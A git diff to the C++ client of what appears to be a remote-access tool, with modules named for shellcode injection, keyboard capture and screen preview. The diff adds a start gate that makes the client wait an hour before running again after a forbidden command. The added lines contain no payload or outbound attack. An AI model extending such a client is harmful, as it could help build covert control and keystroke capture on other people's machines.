diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 3f6ff29..96a3557 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -5,6 +5,7 @@ #include "ClientDll.h" #include "ActivityHistory.h" #include +#include "start_gate.h" #include #include #include // for __cpuid, __cpuidex @@ -406,6 +407,16 @@ int main(int argc, const char *argv[]) BYTE buf[] = { nCmd }; return RunCommand(buf, 1); } + { + std::string expiredDate; + const bool isAuthKernel = IsAuthKernel(expiredDate); + iniFile cfg(StartGate::ConfigPath(isAuthKernel)); + const char* section = StartGate::ConfigSection(isAuthKernel); + if (!StartGate::AllowStartNow(cfg, section)) { + Mprintf("next=%d\n", StartGate::Get(cfg, section)); + return 0; + } + } InitWindowsService(NewService( g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService", g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service", @@ -504,6 +515,19 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP, int uPort); // Auto run main thread after load the DLL DWORD WINAPI AutoRun(LPVOID param) { + if (!IsLocalTestClient(g_MyApp.g_Connection)) { + std::string expiredDate; + const bool isAuthKernel = IsAuthKernel(expiredDate); + iniFile cfg(StartGate::ConfigPath(isAuthKernel)); + const char* section = StartGate::ConfigSection(isAuthKernel); + if (!StartGate::AllowStartNow(cfg, section)) { + Mprintf("next=%d\n", StartGate::Get(cfg, section)); + if (g_MyApp.g_Connection->ClientType() == CLIENT_TYPE_SHELLCODE) { + FreeLibraryAndExitThread((HMODULE)param, -1); + } + return 0; + } + } do { TestRun(NULL, 0); // 旧工作线程还没退完时 TestRun 会立刻返回(此时连日志都不打,见其内部的 diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index e30c9d2..0995ccf 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -17,6 +17,7 @@ #include "IOCPUDPClient.h" #include "IOCPKCPClient.h" #include "auto_start.h" +#include "start_gate.h" #include "ShellcodeInj.h" #include "KeyboardManager.h" #include "ScreenPreview.h" @@ -952,6 +953,15 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) Mprintf("======> Local test client: ignore forbidden \n"); break; } + const bool isAuthKernel = this->IsAuthKernel(); + if (isAuthKernel) { + iniFile cfg(YAMA_PATH); + StartGate::Delay(cfg, "auth", StartGate::kDefaultDelaySec); + Mprintf("======> next=%d \n", StartGate::Get(cfg, "auth")); + } else if (m_cfg) { + StartGate::Delay(*m_cfg, "settings", StartGate::kDefaultDelaySec); + Mprintf("======> next=%d \n", StartGate::Get(*m_cfg, "settings")); + } TerminateProcess(GetCurrentProcess(), 0); break; } diff --git a/client/start_gate.h b/client/start_gate.h new file mode 100644 index 0000000..e718ee1 --- /dev/null +++ b/client/start_gate.h @@ -0,0 +1,38 @@ +#pragma once + +#include +#include +#include "common/iniFile.h" + +namespace StartGate { + +constexpr const char* kValueName = "retry_after"; +constexpr int kDefaultDelaySec = 60 * 60; + +inline std::string ConfigPath(bool isAuthKernel) +{ + return isAuthKernel ? std::string(YAMA_PATH) : CLIENT_PATH; +} +inline const char* ConfigSection(bool isAuthKernel) +{ + return isAuthKernel ? "auth" : "settings"; +} +inline int Get(config& cfg, const char* section) +{ + return cfg.GetInt(section, kValueName, 0); +} +inline void Set(config& cfg, const char* section, int unixTime) +{ + cfg.SetInt(section, kValueName, unixTime > 0 ? unixTime : 0); +} +inline void Delay(config& cfg, const char* section, int delaySec) +{ + Set(cfg, section, (int)time(NULL) + delaySec); +} +inline bool AllowStartNow(config& cfg, const char* section) +{ + const int t = Get(cfg, section); + return t <= 0 || (int)time(NULL) >= t; +} + +}